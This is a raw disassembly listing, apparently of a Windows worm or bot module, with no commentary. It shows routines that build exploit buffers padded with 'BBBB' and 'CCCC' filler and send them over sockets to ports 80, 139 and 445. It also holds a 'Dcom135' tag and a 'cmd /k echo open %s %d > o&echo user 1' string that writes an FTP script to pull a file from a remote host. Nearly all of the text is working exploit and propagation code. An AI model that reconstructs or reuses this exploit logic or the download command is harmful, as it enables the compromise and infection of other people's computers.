; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40408A proc near ; CODE XREF: sub_4040C6+16p
; sub_4040E5+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_403F2B
test al, al
jz short loc_4040C3
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_426447+1)
call sub_403EBD
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_4040C3: ; CODE XREF: sub_40408A+Fj
pop esi
leave
retn
sub_40408A endp
; =============== S U B R O U T I N E =======================================
sub_4040C6 proc near ; CODE XREF: sub_4040E5+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40407A
test al, al
jz short loc_4040E1
mov ecx, esi
call sub_40408A
loc_4040E1: ; CODE XREF: sub_4040C6+12j
pop esi
retn 8
sub_4040C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040E5 proc near ; CODE XREF: seg001:0040495Cp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403E79
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_404429
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_404429
push esi
lea ecx, [ebp+var_30]
call sub_403E79
lea ecx, [ebp+var_20]
call sub_403E79
lea ecx, [ebp+var_50]
call sub_403E79
lea ecx, [ebp+var_18]
call sub_403E79
lea ecx, [ebp+var_40]
call sub_403E79
lea ecx, [ebp+var_38]
call sub_403E79
lea ecx, [ebp+var_28]
call sub_403E79
push 4
push offset dword_4260DC
lea ecx, [ebp+var_30]
call sub_404029
push 3
push offset dword_4260E4
lea ecx, [ebp+var_30]
call sub_404029
lea ecx, [ebp+var_30]
call sub_403FAF
lea ecx, [ebp+var_30]
call sub_40408A
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_415390
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_404029
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_404029
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_404029
lea ecx, [ebp+var_20]
call sub_403FAF
push offset loc_426470
lea ecx, [ebp+var_50]
call sub_40405D
lea ecx, [ebp+var_50]
call sub_403FAF
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403E83
lea ecx, [ebp+var_58]
call sub_403FAF
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_4040C6
lea ecx, [ebp+var_58]
call sub_403F12
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_415390
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40405D
push 4
push offset dword_4260E8
lea ecx, [ebp+var_18]
call sub_404029
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_404029
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_404029
lea ecx, [ebp+var_18]
call sub_403FAF
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40407A
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40407A
lea ecx, [ebp+var_40]
call sub_40408A
lea ecx, [ebp+var_18]
call sub_403F12
lea ecx, [ebp+var_50]
call sub_403F12
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40407A
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40407A
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40407A
lea ecx, [ebp+var_38]
call sub_40408A
lea ecx, [ebp+var_20]
call sub_403F12
lea ecx, [ebp+var_30]
call sub_403F12
lea ecx, [ebp+var_40]
call sub_403F12
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_404029
lea ecx, [ebp+var_28]
call sub_403FAF
push 2
push offset dword_426464
lea ecx, [ebp+var_28]
call sub_404029
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40407A
lea ecx, [ebp+var_28]
call sub_40408A
lea ecx, [ebp+var_38]
call sub_403F12
lea ecx, [ebp+var_10]
call sub_403E79
lea ecx, [ebp+var_8]
call sub_403E79
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40407A
lea ecx, [ebp+var_10]
call sub_403F2B
lea ecx, [ebp+var_28]
call sub_403F12
push offset dword_426460
lea ecx, [ebp+var_8]
call sub_40405D
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F2B
lea ecx, [ebp+var_10]
call sub_403F12
push offset dword_42645C
lea ecx, [ebp+var_10]
call sub_40405D
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40407A
lea ecx, [ebp+var_10]
call sub_403F2B
lea ecx, [ebp+var_8]
call sub_403F12
push offset dword_426450
lea ecx, [ebp+var_8]
call sub_40405D
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F2B
lea ecx, [ebp+var_10]
call sub_403F12
push offset dword_42644C
lea ecx, [ebp+var_48]
call sub_40405D
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F12
pop esi
loc_404429: ; CODE XREF: sub_4040E5+1Bj
; sub_4040E5+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_4040E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40443B proc near ; CODE XREF: sub_4044FF+A2p
; sub_4044FF+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4211D4 ; select
cmp eax, edi
jnz short loc_4044A2
lea eax, [ebp+var_10C]
push eax
push esi
call sub_420A06 ; __WSAFDIsSet
test eax, eax
jnz short loc_4044A6
loc_4044A2: ; CODE XREF: sub_40443B+54j
xor eax, eax
jmp short loc_4044B6
; ---------------------------------------------------------------------------
loc_4044A6: ; CODE XREF: sub_40443B+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43C56C
loc_4044B6: ; CODE XREF: sub_40443B+69j
pop edi
pop esi
leave
retn
sub_40443B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044BA proc near ; CODE XREF: sub_4044FF+80p
; sub_4044FF+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43C550
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp eax, 4
jz short loc_4044E4
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4044E4: ; CODE XREF: sub_4044BA+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43C5A4
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4044BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044FF proc near ; CODE XREF: sub_4045DE+48p
; seg001:00404A4Dp
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_404528
xor al, al
jmp loc_4045D9
; ---------------------------------------------------------------------------
loc_404528: ; CODE XREF: sub_4044FF+20j
push ebx
push 0
push esi
call sub_415390
push 2Fh
push offset dword_426178
push esi
call sub_4153F0
push 8
lea eax, [esi+31h]
push offset dword_4261A8
push eax
mov [esi+2Fh], di
call sub_4153F0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4153F0
push 6
add ebx, edi
push offset dword_43B190
push ebx
call sub_4153F0
push 85h
push offset dword_4260F0
push [ebp+arg_0]
call sub_4044BA
add esp, 48h
test al, al
jnz short loc_40458F
loc_40458B: ; CODE XREF: sub_4044FF+B8j
xor bl, bl
jmp short loc_4045D0
; ---------------------------------------------------------------------------
loc_40458F: ; CODE XREF: sub_4044FF+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40443B
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_4044BA
add esp, 1Ch
test al, al
jz short loc_40458B
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40443B
add esp, 10h
mov bl, 1
loc_4045D0: ; CODE XREF: sub_4044FF+8Ej
push esi
call sub_415C9B
pop ecx
mov al, bl
loc_4045D9: ; CODE XREF: sub_4044FF+24j
pop edi
pop esi
pop ebx
leave
retn
sub_4044FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045DE proc near ; CODE XREF: seg001:00404A33p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4261B8
push [ebp+arg_0]
call dword_4211F0 ; send
cmp eax, 48h
jnz short loc_404619
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40443B
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_404619
cmp [ebp+var_20], 82h
jz short loc_40461D
loc_404619: ; CODE XREF: sub_4045DE+1Bj
; sub_4045DE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40461D: ; CODE XREF: sub_4045DE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4044FF
add esp, 0Ch
leave
retn
sub_4045DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404630 proc near ; CODE XREF: sub_40467C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_421248
call sub_415E24
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_421240
fstp [esp+10h+var_10]
call sub_415D04
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_415E24
inc eax
leave
retn
sub_404630 endp
; =============== S U B R O U T I N E =======================================
sub_40467C proc near ; CODE XREF: sub_40481B+24p
var_40 = qword ptr -40h
mov eax, offset loc_420B63
call sub_4162F0
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_404CE4
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_404630
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4046BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_404C5E
loc_4046BE: ; CODE XREF: sub_40467C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4047DC
mov ebx, [ebp+10h]
loc_4046CD: ; CODE XREF: sub_40467C+157j
cmp dword ptr [ebp+10h], 3
jb short loc_4046D8
push 3
loc_4046D5: ; CODE XREF: sub_40467C+64j
pop ebx
jmp short loc_4046EB
; ---------------------------------------------------------------------------
loc_4046D8: ; CODE XREF: sub_40467C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4046E2
push 2
jmp short loc_4046D5
; ---------------------------------------------------------------------------
loc_4046E2: ; CODE XREF: sub_40467C+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_4046EB
xor ebx, ebx
inc ebx
loc_4046EB: ; CODE XREF: sub_40467C+5Aj
; sub_40467C+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_421250
fstp [esp+40h+var_40]
call sub_415E4B
pop ecx
pop ecx
call sub_415E24
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40472A
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40472A: ; CODE XREF: sub_40467C+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_404798
add [ebp-18h], eax
loc_40477C: ; CODE XREF: sub_40467C+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_426208[eax]
push eax
push 1
call sub_404ADF
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40477C
loc_404798: ; CODE XREF: sub_40467C+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_4047B6
push dword ptr [ebp+14h]
call sub_415B10
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404B39
mov [ebp-18h], edi
loc_4047B6: ; CODE XREF: sub_40467C+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4047D0
sub esi, [ebp-1Ch]
loc_4047C1: ; CODE XREF: sub_40467C+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404ADF
dec esi
jnz short loc_4047C1
loc_4047D0: ; CODE XREF: sub_40467C+140j
cmp [ebp+10h], edi
ja loc_4046CD
xor ebx, ebx
inc ebx
loc_4047DC: ; CODE XREF: sub_40467C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404CE4
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_404B91
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404CE4
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40467C endp
; =============== S U B R O U T I N E =======================================
sub_40481B proc near ; CODE XREF: seg001:00404A16p
mov eax, offset loc_420B80
call sub_4162F0
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43B188
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40467C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_415BE9
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404865
xor bl, bl
jmp short loc_4048A9
; ---------------------------------------------------------------------------
loc_404865: ; CODE XREF: sub_40481B+44j
mov ecx, [ebp-18h]
mov eax, offset dword_421258
cmp ecx, ebx
jnz short loc_404873
mov ecx, eax
loc_404873: ; CODE XREF: sub_40481B+54j
cmp [ebp+18h], ebx
jz short loc_40487B
mov eax, [ebp+18h]
loc_40487B: ; CODE XREF: sub_40481B+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41588A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43C5A4
cmp eax, esi
jz short loc_4048A0
xor bl, bl
jmp short loc_4048A2
; ---------------------------------------------------------------------------
loc_4048A0: ; CODE XREF: sub_40481B+7Fj
mov bl, 1
loc_4048A2: ; CODE XREF: sub_40481B+83j
push edi
call sub_415C9B
pop ecx
loc_4048A9: ; CODE XREF: sub_40481B+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404CE4
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40481B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 620h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_4263B8
push eax
call sub_4153F0
add esp, 0Ch
mov eax, offset byte_42C2BC
push eax
push eax
push dword_43B1A0
push dword ptr [ebp+8]
call sub_40A08A
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41588A
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_426250
push eax
call sub_4040E5
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_404972
xor eax, eax
jmp loc_404AD2
; ---------------------------------------------------------------------------
loc_404972: ; CODE XREF: seg001:00404969j
mov [ebp-0Ch], esi
loc_404975: ; CODE XREF: seg001:00404A75j
test esi, esi
jnz loc_404A7B
push 6
push 1
push 2
call dword_4211E4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404A63
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43C554
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43C594
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz loc_404A58
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404A20
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404CE4
lea eax, [ebp+0Ch]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404D1C
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40481B
add esp, 1Ch
jmp short loc_404A55
; ---------------------------------------------------------------------------
loc_404A20: ; CODE XREF: seg001:004049DEj
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_404A3A
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4045DE
jmp short loc_404A52
; ---------------------------------------------------------------------------
loc_404A3A: ; CODE XREF: seg001:00404A2Aj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404A58
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4044FF
loc_404A52: ; CODE XREF: seg001:00404A38j
add esp, 0Ch
loc_404A55: ; CODE XREF: seg001:00404A1Ej
movzx esi, al
loc_404A58: ; CODE XREF: seg001:004049D1j
; seg001:00404A44j
push ebx
call dword_43C5EC
test esi, esi
jnz short loc_404A6E
loc_404A63: ; CODE XREF: seg001:0040498Ej
push 3E8h
call dword_421060 ; Sleep
loc_404A6E: ; CODE XREF: seg001:00404A61j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_404975
loc_404A7B: ; CODE XREF: seg001:00404977j
lea ecx, [ebp-8]
call sub_403F12
test esi, esi
jz short loc_404AD0
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset dword_42647C
lea eax, [ebp-620h]
push 200h
push eax
call sub_41588A
lea eax, [ebp-620h]
push eax
call sub_40B078
mov eax, [ebp+0B0h]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_404AD0: ; CODE XREF: seg001:00404A85j
mov eax, esi
loc_404AD2: ; CODE XREF: seg001:0040496Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_420B44
loc_404AD7: ; CODE XREF: sub_420B44+3j
; seg001:00420B5Dj ...
push 1
call sub_404CE4
retn
; END OF FUNCTION CHUNK FOR sub_420B44
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404ADF proc near ; CODE XREF: sub_40467C+111p
; sub_40467C+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_404AF6
call sub_4206B0
loc_404AF6: ; CODE XREF: sub_404ADF+10j
cmp [ebp+arg_0], 0
jbe short loc_404B31
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_404C5E
test al, al
jz short loc_404B31
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_415390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404B31: ; CODE XREF: sub_404ADF+1Bj
; sub_404ADF+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_404ADF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404B39 proc near ; CODE XREF: sub_40467C+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_404B50
call sub_4206B0
loc_404B50: ; CODE XREF: sub_404B39+10j
cmp [ebp+arg_4], 0
jbe short loc_404B89
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_404C5E
test al, al
jz short loc_404B89
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call sub_4153F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404B89: ; CODE XREF: sub_404B39+1Bj
; sub_404B39+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_404B39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404B91 proc near ; CODE XREF: sub_40467C+179p
; sub_42070A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_404BA9
call sub_4208DC
loc_404BA9: ; CODE XREF: sub_404B91+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_404BBB
mov esi, [ebp+arg_8]
loc_404BBB: ; CODE XREF: sub_404B91+25j
cmp edi, ebx
jnz short loc_404BD9
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_404D51
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_404D51
jmp short loc_404C55
; ---------------------------------------------------------------------------
loc_404BD9: ; CODE XREF: sub_404B91+2Cj
test esi, esi
jbe short loc_404C1C
cmp esi, eax
jnz short loc_404C1C
mov eax, [ebx+4]
test eax, eax
jnz short loc_404BED
mov eax, offset dword_421258
loc_404BED: ; CODE XREF: sub_404B91+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404C1C
push 1
mov ecx, edi
call sub_404CE4
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C08
mov eax, offset dword_421258
loc_404C08: ; CODE XREF: sub_404B91+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404C55
; ---------------------------------------------------------------------------
loc_404C1C: ; CODE XREF: sub_404B91+4Aj
; sub_404B91+4Ej ...
push 1
push esi
mov ecx, edi
call sub_404C5E
test al, al
jz short loc_404C55
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_404C39
mov eax, offset dword_421258
loc_404C39: ; CODE XREF: sub_404B91+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4153F0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404C55: ; CODE XREF: sub_404B91+46j
; sub_404B91+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404B91 endp
; =============== S U B R O U T I N E =======================================
sub_404C5E proc near ; CODE XREF: sub_40467C+3Dp
; sub_404ADF+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_404C70
call sub_4206B0
loc_404C70: ; CODE XREF: sub_404C5E+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_404C98
mov cl, [eax-1]
cmp cl, dl
jz short loc_404C98
cmp cl, 0FFh
jz short loc_404C98
cmp edi, edx
mov ecx, esi
jnz short loc_404CD7
dec byte ptr [eax-1]
push edx
loc_404C8F: ; CODE XREF: sub_404C5E+48j
call sub_404CE4
loc_404C94: ; CODE XREF: sub_404C5E+4Cj
; sub_404C5E+53j
xor al, al
jmp short loc_404CDF
; ---------------------------------------------------------------------------
loc_404C98: ; CODE XREF: sub_404C5E+19j
; sub_404C5E+20j ...
cmp edi, edx
jnz short loc_404CB3
cmp [esp+8+arg_4], dl
jz short loc_404CA8
push 1
mov ecx, esi
jmp short loc_404C8F
; ---------------------------------------------------------------------------
loc_404CA8: ; CODE XREF: sub_404C5E+42j
cmp eax, edx
jz short loc_404C94
mov [esi+8], edx
mov [eax], dl
jmp short loc_404C94
; ---------------------------------------------------------------------------
loc_404CB3: ; CODE XREF: sub_404C5E+3Cj
cmp [esp+8+arg_4], dl
jz short loc_404CD0
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404CC5
cmp eax, edi
jnb short loc_404CDD
loc_404CC5: ; CODE XREF: sub_404C5E+61j
push 1
mov ecx, esi
call sub_404CE4
jmp short loc_404CD5
; ---------------------------------------------------------------------------
loc_404CD0: ; CODE XREF: sub_404C5E+59j
cmp [esi+0Ch], edi
jnb short loc_404CDD
loc_404CD5: ; CODE XREF: sub_404C5E+70j
mov ecx, esi
loc_404CD7: ; CODE XREF: sub_404C5E+2Bj
push edi
call sub_404DB8
loc_404CDD: ; CODE XREF: sub_404C5E+65j
; sub_404C5E+75j
mov al, 1
